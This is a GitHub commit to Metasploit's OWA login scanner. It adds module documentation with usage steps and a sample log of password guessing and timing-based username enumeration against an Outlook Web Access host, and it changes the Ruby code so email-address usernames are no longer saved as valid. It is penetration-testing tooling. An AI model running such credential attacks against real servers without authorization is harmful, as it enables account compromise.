Skip to content

Commit e396dba

Browse files
committed
Dont save email addresses as valid users
Also add initial module doc for owa_login
1 parent d4440d0 commit e396dba

File tree

2 files changed

+70
-8
lines changed

2 files changed

+70
-8
lines changed
Lines changed: 60 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,60 @@
1+
This module tests credentials on OWA 2003, 2007, 2010, 2013, and 2016 servers.
2+
3+
NOTE: This module assumes that login attempts that take a long time (>1 sec) to
4+
return are using a valid domain username. This methodology does not work when
5+
passing a full email address ([email protected]). Full email addresses will not
6+
be saved as potentially valid usernames unless we get a successful login.
7+
8+
## Verification Steps
9+
10+
1. Do: ```use auxiliary/scanner/http/owa_login```
11+
2. Do: ```set RHOSTS [IP]```
12+
3. Configure a user and password list by setting either `USERNAME`, `PASSWORD`, `USER_FILE`, or `PASS_FILE`.
13+
4. Do: ```run```
14+
15+
## Scenarios
16+
17+
```
18+
msf5 auxiliary(scanner/http/owa_login) > run
19+
20+
[*] webmail.hostingcloudapp.com:443 OWA - Testing version OWA_2013
21+
[+] Found target domain: HOSTINGCLOUDAPP
22+
[*] webmail.hostingcloudapp.com:443 OWA - Trying administrator : password
23+
[*] webmail.hostingcloudapp.com:443 OWA - Resolved hostname 'webmail.hostingcloudapp.com' to address 38.126.136.24
24+
[+] server type: EXCH2016MBX02
25+
[*] webmail.hostingcloudapp.com:443 OWA - FAILED LOGIN, BUT USERNAME IS VALID. 0.267791 'HOSTINGCLOUDAPP\administrator' : 'password': SAVING TO CREDS
26+
[*] webmail.hostingcloudapp.com:443 OWA - Trying administrator : password1
27+
[*] webmail.hostingcloudapp.com:443 OWA - Resolved hostname 'webmail.hostingcloudapp.com' to address 38.126.136.24
28+
[+] server type: EXCH2016MBX02
29+
[*] webmail.hostingcloudapp.com:443 OWA - FAILED LOGIN, BUT USERNAME IS VALID. 0.273841 'HOSTINGCLOUDAPP\administrator' : 'password1': SAVING TO CREDS
30+
[*] webmail.hostingcloudapp.com:443 OWA - Trying administrator : fido
31+
[*] webmail.hostingcloudapp.com:443 OWA - Resolved hostname 'webmail.hostingcloudapp.com' to address 38.126.136.22
32+
[+] server type: EXCH2016MBX01
33+
[*] webmail.hostingcloudapp.com:443 OWA - FAILED LOGIN, BUT USERNAME IS VALID. 0.270796 'HOSTINGCLOUDAPP\administrator' : 'fido': SAVING TO CREDS
34+
[*] webmail.hostingcloudapp.com:443 OWA - Trying johndoe : password
35+
[*] webmail.hostingcloudapp.com:443 OWA - Resolved hostname 'webmail.hostingcloudapp.com' to address 38.126.136.22
36+
[+] server type: EXCH2016MBX01
37+
[-] webmail.hostingcloudapp.com:443 OWA - FAILED LOGIN. 2.046935 'HOSTINGCLOUDAPP\johndoe' : 'password' (HTTP redirect with reason 2)
38+
[*] webmail.hostingcloudapp.com:443 OWA - Trying johndoe : password1
39+
[*] webmail.hostingcloudapp.com:443 OWA - Resolved hostname 'webmail.hostingcloudapp.com' to address 38.126.136.24
40+
[+] server type: EXCH2016MBX02
41+
[-] webmail.hostingcloudapp.com:443 OWA - FAILED LOGIN. 2.073391 'HOSTINGCLOUDAPP\johndoe' : 'password1' (HTTP redirect with reason 2)
42+
[*] webmail.hostingcloudapp.com:443 OWA - Trying johndoe : fido
43+
[*] webmail.hostingcloudapp.com:443 OWA - Resolved hostname 'webmail.hostingcloudapp.com' to address 38.126.136.24
44+
[+] server type: EXCH2016MBX02
45+
[-] webmail.hostingcloudapp.com:443 OWA - FAILED LOGIN. 2.038717 'HOSTINGCLOUDAPP\johndoe' : 'fido' (HTTP redirect with reason 2)
46+
[*] webmail.hostingcloudapp.com:443 OWA - Trying bob : password
47+
[*] webmail.hostingcloudapp.com:443 OWA - Resolved hostname 'webmail.hostingcloudapp.com' to address 38.126.136.24
48+
[+] server type: EXCH2016MBX02
49+
[*] webmail.hostingcloudapp.com:443 OWA - FAILED LOGIN, BUT USERNAME IS VALID. 0.289186 'HOSTINGCLOUDAPP\bob' : 'password': SAVING TO CREDS
50+
[*] webmail.hostingcloudapp.com:443 OWA - Trying bob : password1
51+
[*] webmail.hostingcloudapp.com:443 OWA - Resolved hostname 'webmail.hostingcloudapp.com' to address 38.126.136.24
52+
[+] server type: EXCH2016MBX02
53+
[*] webmail.hostingcloudapp.com:443 OWA - FAILED LOGIN, BUT USERNAME IS VALID. 0.270616 'HOSTINGCLOUDAPP\bob' : 'password1': SAVING TO CREDS
54+
[*] webmail.hostingcloudapp.com:443 OWA - Trying bob : fido
55+
[*] webmail.hostingcloudapp.com:443 OWA - Resolved hostname 'webmail.hostingcloudapp.com' to address 38.126.136.24
56+
[+] server type: EXCH2016MBX02
57+
[*] webmail.hostingcloudapp.com:443 OWA - FAILED LOGIN, BUT USERNAME IS VALID. 0.275251 'HOSTINGCLOUDAPP\bob' : 'fido': SAVING TO CREDS
58+
[*] Auxiliary module execution completed
59+
60+
```

modules/auxiliary/scanner/http/owa_login.rb

Lines changed: 10 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -254,14 +254,16 @@ def try_user_pass(opts)
254254
else
255255
# Login didn't work. no point in going on, however, check if valid domain account by response time.
256256
if elapsed_time <= 1
257-
report_cred(
258-
ip: res.peerinfo['addr'],
259-
port: datastore['RPORT'],
260-
service_name: 'owa',
261-
user: user
262-
)
263-
print_status("#{msg} FAILED LOGIN, BUT USERNAME IS VALID. #{elapsed_time} '#{user}' : '#{pass}': SAVING TO CREDS")
264-
return :Skip_pass
257+
unless user =~ /@\w+\.\w+/
258+
report_cred(
259+
ip: res.peerinfo['addr'],
260+
port: datastore['RPORT'],
261+
service_name: 'owa',
262+
user: user
263+
)
264+
print_status("#{msg} FAILED LOGIN, BUT USERNAME IS VALID. #{elapsed_time} '#{user}' : '#{pass}': SAVING TO CREDS")
265+
return :Skip_pass
266+
end
265267
else
266268
vprint_error("#{msg} FAILED LOGIN. #{elapsed_time} '#{user}' : '#{pass}' (HTTP redirect with reason #{reason})")
267269
return :Skip_pass

0 commit comments

Comments
 (0)